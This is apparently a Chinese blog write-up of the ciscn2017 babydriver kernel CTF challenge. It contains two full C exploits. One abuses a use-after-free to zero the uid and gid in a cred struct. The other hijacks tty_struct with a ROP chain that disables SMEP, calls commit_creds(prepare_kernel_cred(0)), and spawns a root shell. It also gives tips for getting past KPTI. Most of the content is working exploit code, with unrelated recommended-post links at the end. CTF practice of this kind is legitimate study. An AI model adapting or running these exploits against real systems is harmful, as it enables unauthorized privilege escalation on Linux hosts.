kernel UAF && tty_struct
kernel UAF && 劫持tty_struct
ciscn2017_babydriver
exp1
fork
进程时会申请堆来存放cred
。cred结构大小为0xA8。修改cred
里的uid
,gid
为0,即可get root
#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0)
{
puts("[-] open error");
exit(-1);
}
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int pid = fork();
if(pid < 0)
{
puts("[-] fork error");
exit(-1);
}
else if(pid == 0)
{
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] root now");
system("/bin/sh");
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
exp2
打开ptmx
时会申请一个大小为0x2e0
的结构体tty_struct
,(size_t)tty_struct[3]
的位置是tty_operations
里面存放了函数指针,劫持这个结构体可实现栈迁移。
劫持write
指针,则rax
是tty_operations
的地址,劫持ioctl
指针,则rcx
是tty_operations
的地址
补充一下:在开启 KPTI
的情况下直接返回用户态会 segmentation fault
,可以把原来的返回地址 get_shell
函数设为 signal
信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(signal(11, (size_t)get_shell)
)
当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode
直接绕过 KPTI
,可能由于本题内核是一个过渡版本还没有KPTI
而是PTI
,我并没能找到这个函数。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
system("/bin/sh");
puts("[*] get shell");
}
else
{
puts("[-] get shell error");
sleep(5);
exit(0);
}
}
void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};
save_status();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(5);
exit(0);
}
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(5);
exit(0);
}
int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2, fake_tty_struct, 32);
write(fd_tty,"FXC",3);
return 0;
}
kernel UAF && tty_struct的更多相关文章
- Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...
- Summary of Critical and Exploitable iOS Vulnerabilities in 2016
Summary of Critical and Exploitable iOS Vulnerabilities in 2016 Author:Min (Spark) Zheng, Cererdlong ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- Linux kernel(CVE-2018-17182)提权漏洞复现
0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ...
- linux kernel下输入输出console怎样实现
近期工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及user空间的输入输出控制台. 利用这个机会,学习下printk怎样选择往哪个console输出以及user空间下控制台怎样选择. ...
- ret2dir:Rethinking Kernel Isolation(翻译)
前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...
- [03] HEVD 内核漏洞之UAF
作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...
- linux kernel下输入输出console如何实现【转】
转自:https://blog.csdn.net/skyflying2012/article/details/41078349 最近工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及u ...
随机推荐
- 四种类型的数据节点 Znode?
1.PERSISTENT-持久节点 除非手动删除,否则节点一直存在于 Zookeeper 上 2.EPHEMERAL-临时节点 临时节点的生命周期与客户端会话绑定,一旦客户端会话失效(客户端与 zoo ...
- 说出 5 个 JDK 1.8 引入的新特性?
Java 8 在 Java 历史上是一个开创新的版本,下面 JDK 8 中 5 个主要的特性: Lambda 表达式,允许像对象一样传递匿名函数 Stream API,充分利用现代多核 CPU,可以写 ...
- 学习MySql(一)
一.安装部署mysql 1.安装mysql: # yum -y install autoconf libaio libaio-devel # groupadd mysql # useradd -r - ...
- carsim笔记——道路设置
第一步: 进入道路轨迹设置 道路情况设置举例 第二步:设置道路3D的显示效果 对上面的解释举例说明
- 显示调用C++中构造函数和析构函数(有什么弊端)
1.C++中, 构造函数和析构函数可以被显示调用. 显示调用默认构造函数的语法: a.A::A();(不能写成a.A();) , 显示调用非默认构造函数的语法: a.A::A(7);(不能写成a.A( ...
- cpu内部组成
计算机系统的硬件结构主要由四部分组成:控制器.运算器.内存和输入输出设备 其中,控制器和运算器统称为中央处理器.简称CPU.它是计算机硬件系统的指挥中心. 它包括控制器.运算器.寄存器三个部分,其中, ...
- 如何更愉快地使用em —— 别说你懂CSS相对单位
前段时间试译了Keith J.Grant的CSS好书<CSS in Depth>,其中的第二章<Working with relative units>,书中对relative ...
- Html5 Canvas学习之路(五)
Canvas 图像(上) Canvas 图像API可以加载图像数据,然后直接将图像应用到画布上.还可以裁切.拼贴图像数据,以显示用户需要的部分.此外,Canvas还提供了像素数据的存储功能,这样就能对 ...
- python爬虫---豆瓣Top250电影采集
代码: import requests from bs4 import BeautifulSoup as bs import time def get_movie(url): headers = { ...
- CCF201403-2窗口
问题描述 在某图形操作系统中,有 N 个窗口,每个窗口都是一个两边与坐标轴分别平行的矩形区域.窗口的边界上的点也属于该窗口.窗口之间有层次的区别,在多于一个窗口重叠的区域里,只会显示位于顶层的窗口里的 ...